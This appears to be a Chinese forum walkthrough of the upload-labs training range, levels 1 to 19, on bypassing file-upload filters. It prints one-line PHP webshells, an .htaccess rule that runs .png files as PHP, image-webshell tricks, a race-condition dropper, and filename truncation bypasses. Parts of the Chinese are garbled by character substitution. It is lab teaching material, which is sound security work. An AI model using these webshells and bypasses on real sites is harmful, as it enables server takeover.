upload-labs(1-19关)通关攻略

[复制链接]
发表于 2025-12-3 00:36:21 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
Pass-01

本关思绪:删除前端js校验

进入第一关环境


桌面新建一个php文件,定名为1.php
  1. <?php  @eval($_POST[a]);?>
复制代码


我们上传此文件,发现不允许上传,且页面没有厘革,分析前端举行了拦截


这时我们打开 F12 ,小箭头定位到上传框,发现上面有一个查抄的方法,删除后再次上传试试


如许我们就能上传乐成


鼠标右键在新标签页打开图像,测试可否利用菜刀毗连,也可以利用下面的方法检测


Pass-02

本关思绪:抓包 修改文件范例

起首查察源码


选择文件,利用bp抓取上传的哀求包


将选中位置的数据范例修改为 image/jpeg ,放行,然后返回欣赏器


如许就能上传乐成了


鼠标右键在新标签页打开图像,测试可否利用菜刀毗连,也可以利用下面的方法检测


Pass-03

本关思绪:上传同范例后缀名.php3

查察源码


上传此文件


上传乐成,新建标签页打开图像,查抄可否毗连


Pass-04

本关思绪:上传.htaccess设置文件

起首创建一个.htaccess文件(文件名就为.htaccess)内容如下
  1. AddType application/x-httpd-php .png
复制代码
查察源码


意思就是如果文件内里有一个后缀为.png的文件,他就会被分析成.php。先上传一个1.png文件,然后上传这个.htaccess,再访问1.png


Pass-05

本关思绪:巨细写绕过

查察源码,发现这一关没有对巨细写举行限定


将后缀名中的一个 p 大写,改为1.Php,上传文件


上传乐成,再次访问1.Php


Pass-06

本关思绪:抓包 空格绕过

查察源码,发现这一关没有收尾去空限定


我们在文件反面加上空格,但由于windows特性,文件名后空格会被直接删除,不能直接上传.php后加空格,以是我们要用burp抓包然后再添加空格


点击放行,上传乐成


再次访问1.php


Pass-07

本关思绪:抓包点绕过

查察源码,发现少了删除文件末了的点


和第六关一样,windows文件后缀名不能加’.',一样利用burp抓包然后后缀加一个点


点击放行,上传乐成


再次访问1.php


Pass-08

本关思绪:抓包 :DATA绕过

查察源码


发现少了去除字符串,和前面关卡一样,在burp中抓包在文件名后加:DATA


点击放行,上传乐成


再次访问1.php


Pass-09

本关思绪:抓包 点空格点绕过

查察源码


发现没有循环验证,也就是说转换巨细写去除空格什么的它只验证一次,在burp中抓包在文件名后加:. .


点击放行,上传乐成


再次访问1.php


Pass-10

本关思绪:重复写绕过

查察源码


发现没有了前几关的验证方式,而且是一个黑名单验证,意思是如果上传了它这些后缀的文件,就会把后缀名删除,没了后缀名也就无法正常分析,不外不须要发急,这关同样只验证一次,以是我们只须要把后缀改为.pphphp,它删撤除中心的php后后缀仍旧为php


点击上传,发现上传乐成


鼠标右键在新标签页打开图像


Pass-11

本关思绪:get型 %00截断绕过

查察源码


很显着是一个白名单上传,它只允许上传它给定的后缀名,这里我的环境出现标题不能利用,更换的靶场为ctfhub上的00截断:CTFHub


进入环境


上传1.png文件,利用bp抓取上传的哀求包


此中 /var/www/html/ 为网站的根目次,按下图修改


点击放行,上传乐成


蚁剑毗连


双击打开,就能得到flag


Pass-12

本关思绪:post型 %00截断绕过

查察源码


与上一关相比,发现继承值酿成了post,那么思绪就和第十一关一样
抓包试试


post方式不会自行解码,以是要对%00举行urldecode编码,burp可以举行快捷编码,选中%00右键convert selection即可举行快速url编码


反面操纵和前一关一样
Pass-13

本关思绪:文件包罗图片马绕过

根据提示可知本关须要文件包罗弊端+图片马组合利用


图片马单靠本身没用,须要一个有文件包罗弊端的php文件将图片马包罗到本身的页面上
新建一个1.jpg文件,在第一行添加.gif的开头:GIF89a,反面是一句话木马


上传此文件


上传乐成,在新标签页打开图像,发现后缀变为.gif


此时须要搭配文件包罗弊端利用
访问 include.php


会发现提交方式为:get型的file,直接在网址反面加以下代码
  1. ?file=upload/8420241219180851.gif
复制代码


测试毗连


Pass-14

本关思绪:文件包罗图片马绕过

这一关与上一关流程一样,上传1.jpg,在新标签页打开图像




我们也可以实行蚁剑毗连


测试毗连--毗连乐成
Pass-15

本关思绪:文件包罗图片马绕过

同13,14关
Pass-16

本关思绪:文件包罗二次渲染专用图绕过

实行和之前一样的操纵:上传1.jpg文件


报错,查察源码


imagecreatefromjpeg()函数,二次渲染是由Gif文件或 URL创建一个新图象。乐成则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败
这里我们必须利用二次渲染专用图:文件上传之二次渲染(专用图).zip - 蓝奏云
上传解压后的.gif文件,发现上传乐成


鼠标右键在新标签页打开图像


复制 upload/14713.gif ,访问 include.php ,在网址反面加上以下代码
  1. ?file=upload/14713.gif
复制代码


我们在蚁剑毗连前起紧张得到一句话木马的毗连暗码:在记事本中打开二次渲染专用图22.gif


  1. <?php @eval($_POST['zoe']);?>
复制代码
实行蚁剑毗连


毗连乐成
Pass-17

本关思绪:抓包 爆破条件竞争

查察源码


发现如果上传的符合它的白名单,那就举行重定名,如果不符合,直接删除!分析的机会都没有,这让我想到了条件竞争,如果我在它删除之前就访问这个文件,他就不会删除了
上传一个php文件,然后burp抓包发到爆破模块


不添加payload位置


开始攻击,然后用欣赏器不绝访问1.php,按F5不绝革新,如果在上传的瞬间访问到了,它就无法删除


将1.php改为以下内容
  1. <?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
复制代码
上传这个php文件,重复bp抓包后的流程,就能得到一个webshell.php文件
Pass-18

本关思绪:上传二次渲染的图片马 文件包罗弊端

查察源码


发现和第17关的差距是,这关还检测了后缀名,不能直接上传php文件,以是这关要上传图片马,其他步调和17关类似。访问图片时利用文件包罗
我们上传图片马 22.gif,利用bp抓包,发送到攻击模块,和17关一样的操纵,开始攻击
然后用欣赏器不绝访问22.gif,按F5不绝革新,如果在上传的瞬间访问到了,它就无法删除


Pass-19

本关思绪:文件名定名规范

看到19关的页面,多了一个生存名称,没有对上传的文件做判断,只对用户输入的文件名做判断


查察源码


有move_uploaded_file()如许一个函数,它有一个特性,会忽略到文件末了的/.
直接上传1.php,生存名称为2.php,抓包,在末了加上/.


点击放行,上传乐成,右键在新标签页打开图像


回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表